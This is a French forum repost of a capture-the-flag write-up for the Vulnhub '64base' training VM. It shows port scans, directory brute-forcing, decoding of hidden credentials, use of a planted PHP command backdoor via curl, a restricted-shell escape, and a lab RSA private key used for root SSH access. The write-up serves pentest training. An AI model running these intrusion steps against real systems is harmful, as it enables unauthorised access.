Ldfa Posté(e) le 30 décembre 2019 Partager Posté(e) le 30 décembre 2019 Aujourd’hui je vous dévoile la solution d’une VM Vulnhub nommée 64base. Cela fait quelque temps que je ne m’était pas penché sur ce genre d’exercice (faute aux bug bounty ! :p) Au moment de l’écriture de cet article, il s’agit de la dernière machine virtuel disponible sur Vulnhub, un site web qui regroupe un grand nombre de machine virtuelle vulnérables dédiées à l’entrainement. Je vous en parle dans cet article : Vulnhub : Testez vos connaissances en pentest ! Cette VM porte sur le thème de Star Wars, notre objectif est de voler les plans d’une base de l’Empire ! 😉 Scanning : May the Force be with you Je commence par un premier scan nmap : nmap -sS -A 192.168.1.27 Celui-ci permet d’obtenir rapidement quelques résultats, et notamment les ports suivants : 22/tcp open ssh 80/tcp open http 4899/tcp open radmin Pendant que je commence mes premières recherches, je lance un scan plus poussé sur tous les ports TCP moins connus. Par défaut, nmap va scanner seulement les ports les plus connus/utilisés : nmap 192.168.1.27 -p- Avec cette option “-p-“, nmap va scanner les 65535 port en TCP. Dés lors, un port supplémentaire est trouvé : Starting Nmap 7.31 ( https://nmap.org ) at 2016-12-21 15:01 CET Nmap scan report for 64base.home (192.168.1.27) Host is up (0.00059s latency). Not shown: 65531 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 4899/tcp open radmin 62964/tcp open unknown MAC Address: 08:00:27:88:0B:96 (Oracle VirtualBox virtual NIC) Ce dernier semble cacher un autre service SSH : root@kali:~/Documents/VULNHUB/64Base1.0.1# telnet 192.168.1.27 62964 Trying 192.168.1.27... Connected to 192.168.1.27. Escape character is '^]'. SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3 Enumeration et premiers flags : I felt a great disturbance in the Force Je commence donc par me rendre sur le port 80 afin de voir ce qui s’y trouve, le sous-titre de la page principale semble être sous forme base 64: On prend la chaine et on décode avec l’outil natif sous Linux “base64” : root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "dmlldyBzb3VyY2UgO0QK" |base64 -d view source ;D On peut rapidement aller voir le code source d’une page avec un Ctrl+U ou un Clic droit “voir source” sur la page, on lisant le code HTML, on remarque un commentaire étrange : Ce dernier ne semble pas être en base64, car tenter de le décoder retourne une chaine avec des caractères non lisible. On peut envisager d’autres forme d’encodage, l’URL encode, l’ASCII, l’hexa.. Ce dernier donne un résultat concluant : root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "5a6d78685a7a4637546d705361566c59546d785062464a7654587056656c464953587055616b4a56576b644752574e7151586853534842575555684b6246524551586454656b5a77596d316a4d454e6e5054313943673d3d0a" | xxd -r -p ZmxhZzF7TmpSaVlYTmxPbFJvTXpVelFISXpUakJVWkdGRWNqQXhSSHBWUUhKbFREQXdTekZwYm1jMENnPT19Cg== Une chaine de caractère hexa peut être convertie en texte avec l’outil en ligne de commande “xxd” et les options utilisées plus haut. La forme hexadécimal se reconnait par l’utilisation exclusive des caractères ABCDEFG0123456789. Un simple outil “hexa to text” en ligne permet d’obtenir le même résultat. On obtient ce qui ressemble à nouveau à un encodage base64, que l’on peux décoder de la même façon : root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "5a6d78685a7a4637546d705361566c59546d785062464a7654587056656c464953587055616b4a56576b644752574e7151586853534842575555684b6246524551586454656b5a77596d316a4d454e6e5054313943673d3d0a" | xxd -r -p | base64 -d flag1{NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0Cg==} Et voila notre premier flag ! Plus que 5 🙂 Au passage, ce flag contient (encore) une chaine au format base64 qui donne ceci une fois décodée : root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0Cg==" |base64 -d 64base:Th353@r3N0TdaDr01DzU@reL00K1ing4 On peut imaginer qu’il s’agisse de l’utilisateur admin du blog et de son mot de passe. En effet, on remarque que l’auteur des articles du blog se nomme “base64”. Il nous suffit de trouver la page d’authentification. On peut utiliser pour cela plusieurs méthodes : Trouver le nom du CMS utilisé, s’il y en a un, et ainsi retrouver dans la documentation les moyens de s’y authentifier Effectuer un brute force des répertoires, manuel ou outillé Je choisi pour commencer la deuxième option, avec quelques tentatives manuelles. Le répertoire /admin/ expose une authentification HTTP de type basic mais les identifiants obtenus ne semblent pas fonctionner. A la racine des sites web se trouve généralement un fichier /robots.txt qui permet d’interdire aux robots des moteurs de recherche de référencer certains dossiers ou pages web. Ce fichier est souvent une source d’information intéressante pour les pirates qui souhaitent trouver des répertoires/fichiers intéressants. root@kali:~/Documents/VULNHUB/64Base1.0.1# wget http://192.168.1.27/robots.txt -O robots.txt root@kali:~/Documents/VULNHUB/64Base1.0.1# grep "Disallow" robots.txt | cut -d " " -f2 > dir_list.txt Je récupére le fichier robots.txt, puis le nettoie pour qu’il puisse servir d’input à dirbuster. Dirb, ou dirbuster (sa version graphique) est un outil permettant d’effectuer du brute-force (ou énumération) de répertoire/fichier web. Il peut notamment prendre une liste de nom en entrée pour orienter ses tests. root@kali:~/Documents/VULNHUB/64Base1.0.1# dirb http://192.168.1.27 dir_list.txt START_TIME: Wed Dec 21 12:58:18 2016 URL_BASE: http://192.168.1.27/ WORDLIST_FILES: dir_list.txt ----------------- GENERATED WORDS: 429 ---- Scanning URL: http://192.168.1.27/ ---- + http://192.168.1.27//admin/ (CODE:401|SIZE:459) + http://192.168.1.27//88888/ (CODE:200|SIZE:0) + http://192.168.1.27//88888888/ (CODE:200|SIZE:0) + http://192.168.1.27//88888888888/ (CODE:200|SIZE:0) + http://192.168.1.27//88888888888P/ (CODE:200|SIZE:0) + http://192.168.1.27//c3P08P/ (CODE:200|SIZE:0) + http://192.168.1.27//C3p0/ (CODE:200|SIZE:0) [...] Tous les répertoires retournent une taille de 0. Sauf le répertoire /admin. On remarque, dans la page contact, des commentaires donnant des informations sur comment le mail est envoyé une fois le formulaire validé. Je remarque au passage la présence d’un directory listing, notamment sur le répertoire “mail” Je décide alors de faire un dirbuster avec une liste un peu plus complète, car le premier n’a pas été très concluant Je trouve quelques répertoires supplémentaire pour le directory listing, mais rien de très intéressant. Après une bonne heure de recherche infructueuses, je me décide à lire les articles du blog, il s’agit d’une VM vulnérable et non d’un bug bounty, rien n’est là par hasard en principe. A la fin du post, je trouve la mention suivante : "Only respond if you are a real Imperial-Class BountyHunter". La notion de réponse (respond) m’oriente vers le nom d’un répertoire. Je retourne dans le fichier /robots.txt et constate que /Imperial-Class/ y est présent. Je test alors un accès à se répertoire pour tomber sur une nouvelle authentification .htaccess, cette fois-ci le login “64base” trouvé lors du premier flag fonctionne. Il semblerait que cette entrée n’ai pas été correctement prise en compte par mon premier dirb. Comme quoi il est toujours intéressant de revérifier son travail lorsque l’on est bloqué. Dans les commentaires de cette nouvelle page, je trouve une nouvelle indication : Je vais dans dans le répertoire/Imperial-Class/BountyHunter/ et tombe sur un nouveau formulaire. Le code source est quelques peu intriguant : Les chaines sont en hexadécimale et la version traduite en texte retourne du base64: root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756" | xxd -r -p ZmxhZzJ7YUhSMGNITTZMeTkzZDNjdWV root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "52714d544a54626d51315a45566157464655614446525557383966516f3d0a" | xxd -r -p RqMTJTbmQ1ZEVaWFFUaDFRUW89fQo= root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c32"| xxd -r -p XOTFkSFZpWlM1amIyMHZkMkYwWTJnL2 On constate également que les “id” des deux champs sont étranges, ils font penser à une backdoor (fonction à utiliser, commande à exécuter). Le décodage des chaines individuellement ne donne rien d’intéressant, je les concatène puis je cherche à avoir du texte depuis cette version hexa. J’obtiens un base64 qui a meilleure mine et décode cette dernière pour obtenir le second flag : root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c3252714d544a54626d51315a45566157464655614446525557383966516f3d0a" |xxd -r -p ZmxhZzJ7YUhSMGNITTZMeTkzZDNjdWVXOTFkSFZpWlM1amIyMHZkMkYwWTJnL2RqMTJTbmQ1ZEVaWFFUaDFRUW89fQo= root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c3252714d544a54626d51315a45566157464655614446525557383966516f3d0a" |xxd -r -p |base64 -d flag2{aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj12Snd5dEZXQTh1QQo=} A nouveau une chaine en base64 a l’intérieur du flag, celle-ci renvoi l’information suivante: root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj12Snd5dEZXQTh1QQo=" | base64 -d https://www.youtube.com/watch?v=vJwytFWA8uA Une vidéo Youtube, voila qui est intéressant. Mais elle ne donne aucune information. Il est temps maintenant de partir à la recherche du flag n°3. La page de login (/login) doit tout de même servir à quelque chose, en y allant avec un navigateur, je suis constamment redirigé vers index.php, je décide donc d’y aller avec curl, au bout de plusieurs essais, je décide de tenter avec les premiers identifiants trouvés : root@kali:~/Documents/VULNHUB/64Base1.0.1# curl -u 64base:Th353@r3N0TdaDr01DzU@reL00K1ing4 192.168.1.27/Imperial-Class/BountyHunter/login.php flag3{NTNjcjN0NWgzNzcvSW1wZXJpYWwtQ2xhc3MvQm91bnR5SHVudGVyL2xvZ2luLnBocD9mPWV4ZWMmYz1pZAo=} Voila le flag n°3, on peut, comme toutes les autres, décoder le base64 : root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "NTNjcjN0NWgzNzcvSW1wZXJpYWwtQ2xhc3MvQm91bnR5SHVudGVyL2xvZ2luLnBocD9mPWV4ZWMmYz1pZAo=" | base64 -d 53cr3t5h377/Imperial-Class/BountyHunter/login.php?f=exec&c=id On retrouve ici notre login.php avec la “documentation” de la backdoor détectée précédemment. En leet speak, on peut lire “Secret Shell”, suivit d’un chemin qu’il suffit de copier coller. Telle qu’indiquée, la backdoor ne fonctionne pas, je me rappel alors de l’image de l’article qui contenait une mention étrange “use system instead of exec to run the secret shell“. Je m’exécute en joignant l’URL suivante: root@kali:~/Documents/VULNHUB/64Base1.0.1# curl -u 64base:Th353@r3N0TdaDr01DzU@reL00K1ing4 "192.168.1.27/Imperial-Class/BountyHunter/login.php?f=system&c=id" [64base Command Shell] flag4{NjRiYXNlOjY0YmFzZTVoMzc3Cg==} Debian GNU/Linux 8 \n \l Fri Dec 23 14:06:12 GMT 2016 Linux 64base 3.16.0-4-586 #1 Debian 3.16.36-1+deb8u2 (2016-10-19) i686 GNU/Linux inet addr:192.168.1.27 Bcast:192.168.1.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe88:b96/64 Scope:Link inet6 addr: 2a01:cb08:819f:5300:a00:27ff:fe88:b96/64 Scope:Global uid=1001(64base) gid=1001(64base) groups=1001(64base) J’obtiens au passage le flag n°4, qui, une fois décodé, donne ceci : root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "NjRiYXNlOjY0YmFzZTVoMzc3Cg==" |base64 -d 64base:64base5h377 Ce login ne fonctionne toujours pas pour la partie admin du site. On remarque au passage que le service web tourne sous “64base”. Je continue l’exploitation de la backdoor pour fouiller un peu le serveur en question. Accés SSH : Use the Force, Luke Je tente de me logguer au deuxième port SSH avec ces identifiants mais ceux-ci ne fonctionnent pas, il faut en réalité utiliser le mot de passe en sa version base64 : root@kali:~/Documents/VULNHUB/64Base1.0.1# echo "64base5h377"| base64 NjRiYXNlNWgzNzcK root@kali:~/Documents/VULNHUB/64Base1.0.1# ssh 64base@192.168.1.27 -p 62964 64base@192.168.1.27's password: Last login: Tue Dec 6 05:10:28 2016 from 172.16.0.18 -rbash: mesg: command not found 64base@64base:~$ Il semblerait ici que l’on soit dans un terminal cloisonné, les commandes habituelles sont modifiées (il y a surement une variable d’environnement PATH modifiée, et/ou un chroot), faut s’échapper du bash restreint dans lequel nous sommes. On peut constater ce custom PATH en utilisant la commande “env” : MAIL=/var/mail/64base PATH=/var/alt-bin PWD=/64base On peut d’ailleurs lister les commandes auxquelles nous avons accès : 64base@64base:~$ echo $PATH/* /var/alt-bin/awk /var/alt-bin/base64 /var/alt-bin/cat /var/alt-bin/dircolors /var/alt-bin/droids /var/alt-bin/egrep /var/alt-bin/env /var/alt-bin/fgrep /var/alt-bin/file /var/alt-bin/find /var/alt-bin/grep /var/alt-bin/head /var/alt-bin/less /var/alt-bin/ls /var/alt-bin/more /var/alt-bin/perl /var/alt-bin/python /var/alt-bin/ruby /var/alt-bin/tail Toutes les commandes semblent être des commandes standards modifiées, sauf “droids”, qui n’existe pas à ma connaissance. Je tente de l’exécuter, puis je remarque que celle-ci permettait simplement de sortir de la prison dans laquelle j’étais, j’ai maintenant accès à tout le système. Nous voici maintenant dans un terminal standard, on peut naviguer dans le système plus librement. Après avoir fouillé dans le système, je décide d’aller voir ce qu’il se cachait dans ce fameux répertoire web /admin, j’y trouve le flag n°5 : 64base@64base:/var/www/html/admin$ ls index.php S3cR37 64base@64base:/var/www/html/admin$ ls S3cR37/ flag5{TG9vayBJbnNpZGUhIDpECg==} 64base@64base:/var/www/html/admin$ echo "TG9vayBJbnNpZGUhIDpECg==" |base64 -d Look Inside! :D Le dernier flag est surement caché là, dans le fichier flag5. Je commence par regarder le type fichier : 64base@64base:/var/www/html/admin/S3cR37$ file flag5\{TG9vayBJbnNpZGUhIDpECg\=\=\} flag5{TG9vayBJbnNpZGUhIDpECg==}: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "4c5330744c5331435255644a546942535530456755464a4a566b4655525342", baseline, precision 8, 960x720, frames 3 Une image au format JPEG. L’espace commentaire, qui fait parti des metadatas du fichier, contient une chaine en hexa : root@kali:~/Documents/VULNHUB/64Base1.0.1# exiftool flag5\{TG9vayBJbnNpZGUhIDpECg\=\=\} ExifTool Version Number : 10.36 File Name : flag5{TG9vayBJbnNpZGUhIDpECg==} Directory : . File Size : 192 kB X Resolution : 72 Y Resolution : 72 Comment : 4c5330744c5331435255644a546942535530456755464a4a4c52566b744c53307[..]17051636d396a4c565235634755364944514c516f3d0a Image Width : 960 root@kali:~/Documents/VULNHUB/64Base1.0.1# cat comment.txt |xxd -r -p| base64 -d > key.txt -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,621A38AAD4E9FAA3657CA3888D9B356C mDtRxIwh40RSNAs2+lNRHvS9yhM+eaxxU5yrGPCkrbQW/RgPP+RGJBz9VrTkvYw6 YcOuYeZMjs4fIPn7FZyJgxGHhSxQoxVn9kDkwnsMNDirtcoCOk9RDAG5ex9x4TMz 8IlDBQq5i9Yzj9vPfzeBDZdIz9Dw2gn2SaEgu5zel+6HGObF8Zh3MIchy8s1XrE0 kvLKI252mzWw4kbSs9+QaWyh34k8JIVzuc1QCybz5WoU5Y56G6q1Rds0bcVqLUse MSzKk3mKaWAyLXlo7LnmqqUFKHndBE1ShPVVi4b0GyFILOOvtmvFb4+zhu6jOWYH k2hdCHNSt+iggy9hh3jaEgUnSPZuE7NJwDYa7eSDagL17XKpkm2YiBVrUXxVMnob wXRf5BcGKU97xdorV2Tq+h9KSlZe799trTrFGNe05vxDrij5Ut2KcQx+98K8KpWL guJPRPKGijo96HDGc3L5YsxObVg+/fj0AvsKfrcV/lxaW+Imymc1MXiJMbmCzlDw TAWmaqkRFDyA1HUvtvSeVqS1/HjhDw9d4KsvsjkjvyeQTssfsdGcU0hDkXwRWssd 2d3G+Njm1R5ZLNgRlNpVGjhKC4AsfXS3J0z2t3BPM9ZOBMBe9Dx8zm5xFY9zWtrv AGpr0Bh8KQwmpjQUc1afsqaQX0UHNLXT1ZOWKjg4SA3XC9dCEyFq0SIxQjO9LGCG 4Q5ncfUhmvtqyutCll2dXPsXVDe4eoD1CkvJNDY3KPW+GkN9L+9CPy8+DNunFIwx +T++7Qg/uPXKq4M61IQ8034UhuRWS4TqP9azX3CG9LyoiB6VbKOeDwN8ailLKZBs fY9Q6AM1sylizH1nnxKOtZQWurxjGJBIs62telMkas9yNMk3Lu7qRH6swO9sdTBi +j0x4uDZjJcgMXxfb0w5A64lYFsMRzFj7Xdfy19+Me8JEhQ8KNXDwQKDyULFOTsz 13VfBNxYsyL5zGXNzyqZ4I/OO7Med2j0Gz0g21iHA/06mrs2clds6SUBGEvn8NiV rSrH6vEs4Szg0x8ddGvQ0qW1vMkTRu3Oy/e10F745xDMATKRlKZ6rYHMCxJ3Icnt Ez0OMXYdC6CiF/IWtgdU+hKyvs4sFtCBclSagmDTJ2kZdu4RRwYVV6oINz9bpOvE Rx3HUqfnKShruzM9ZkiIkuSfRtfiMvbTzffJTS4c48CO5X/ReF/AaMxkbSdEOFsI Fv9Xdi9SdNuxGHE2G4HvJdIprFUrVSpSI80wgrb245sw6gToitZ90hJ4nJ5ay7AG Yiaa5o7877/fw6YZ/2U3ADdiSOBm+hjV2JVxroyUXbG5dfl3m8Gvf71J62FHq8vj qJanSk8175z0bjrXWdLG3DSlIJislPW+yDaf7YBVYwWR+TA1kC6ieIA5tU3pn/I3 64Z5mpC+wqfTxGgeCsgIk9vSn2p/eetdI3fQW8WXERbDet1ULHPqtIi7SZbj8v+P fnHLQvEwIs+Bf1CpK1AkZeUMREQkBhDi72HFbw2G/zqti/YdnqxAyl6LZzIeQn8t /Gj4karJ1iM9If39dM5OaCVZR/TOBVaR8mrP7VtJor9jeH2tEL0toEqWB1PK0uXP -----END RSA PRIVATE KEY----- Il s’agit visiblement d’une clé privée, on peut donc en principe l’utiliser pour se connecter en SSH sur un des deux ports SSH identifiés ! Pour utiliser une clé précise, on utilise l’option “-i” de ssh : ssh root@192.168.1.27 -i key.txt -p 62964 Pour le mot de passe de la clé privé, on peut tenter de le brute forcer, j’ai pour ma part trouvé en lisant l’image du flag5 qui comporte la mention “use the force” Dernier petit challenge, la chaine de caractère du flag6 qui nous donne le chemin vers les fameux plans de la base de l’Empire : root@64base:~# echo "NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1NGU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNjM3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK" |base64 -d | xxd -r -p | base64 -d |xxd -r -p | base64 -d base64 -d /var/local/.luke|less.real Voici son contenu : Un challenge sympathique, quoi qu’un peu de guessing soit nécessaire à certains moment. Cela fait quelque temps que je n’avait pas fait de VM Vulnhub et je doit dire que l’exercice est tout de même différents des bug bounty, auxquels je m’était habitué ces derniers mois. En effet, outre le guessing, on oublie souvent que rien n’est là par hasard dans un tel challenge, les images, les articles de blogs ont ici été des sources intéressantes pour trouver des flags Afficher l’article complet Lien vers le commentaire Partager sur d’autres sites More sharing options...
Messages recommandés
Archivé
Ce sujet est désormais archivé et ne peut plus recevoir de nouvelles réponses.